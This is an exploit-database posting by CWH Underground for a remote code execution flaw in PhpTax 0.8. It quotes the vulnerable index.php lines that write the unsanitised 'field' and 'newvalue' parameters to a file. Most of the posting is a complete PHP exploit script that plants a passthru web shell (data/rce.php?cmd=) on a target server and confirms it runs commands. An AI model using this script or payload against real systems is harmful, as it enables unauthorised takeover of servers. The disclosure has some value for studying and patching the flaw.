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PhpTax 0.8 Code Execution

PhpTax 0.8 Code Execution
Posted Jun 1, 2013
Authored by CWH Underground

PhpTax version 0.8 suffers from a file manipulation remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | ef3ca79ffd4e7ac01e8201b8e8d63069

PhpTax 0.8 Code Execution

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#
# ,--^----------,--------,-----,-------^--,
# | ||||||||| `--------' | O .. CWH Underground Hacking Team ..
# `+---------------------------^----------|
# `\_,-------, _________________________|
# / XXXXXX /`| /
# / XXXXXX / `\ /
# / XXXXXX /\______(
# / XXXXXX /
# / XXXXXX /
# (________(
# `------'

# Exploit Title : PhpTax File Manipulation(newvalue,field) Remote Code Execution
# Date : 31 May 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://phptax.sourceforge.net/
# Software Link : http://sourceforge.net/projects/phptax/
# Version : 0.8
# Tested on : Window and Linux


#####################################################
#VULNERABILITY: FILE MANIPULATION TO REMOTE COMMAND EXECUTION
#####################################################

#index.php

#LINE 32: fwrite fwrite($zz, "$_GET['newvalue']");
#LINE 31: $zz = fopen("./data/$field", "w");
#LINE 2: $field = $_GET['field'];

#####################################################
#DESCRIPTION
#####################################################

#An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
#User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
#An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.


#####################################################
#EXPLOIT
#####################################################

<?php

$options = getopt('u:');

if(!isset($options['u']))
die("\n Usage example: php exploit.php -u http://target.com/ \n");

$url = $options['u'];
$shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E";

$headers = array('User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
'Content-Type: text/plain');

echo " [+] Submitting request to: {$options['u']}\n";

$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n {$url}/data/rce.php?cmd=id\n";
}
else
{
die(" [+] Exploit was unsuccessful.\n");
}

?>

################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################

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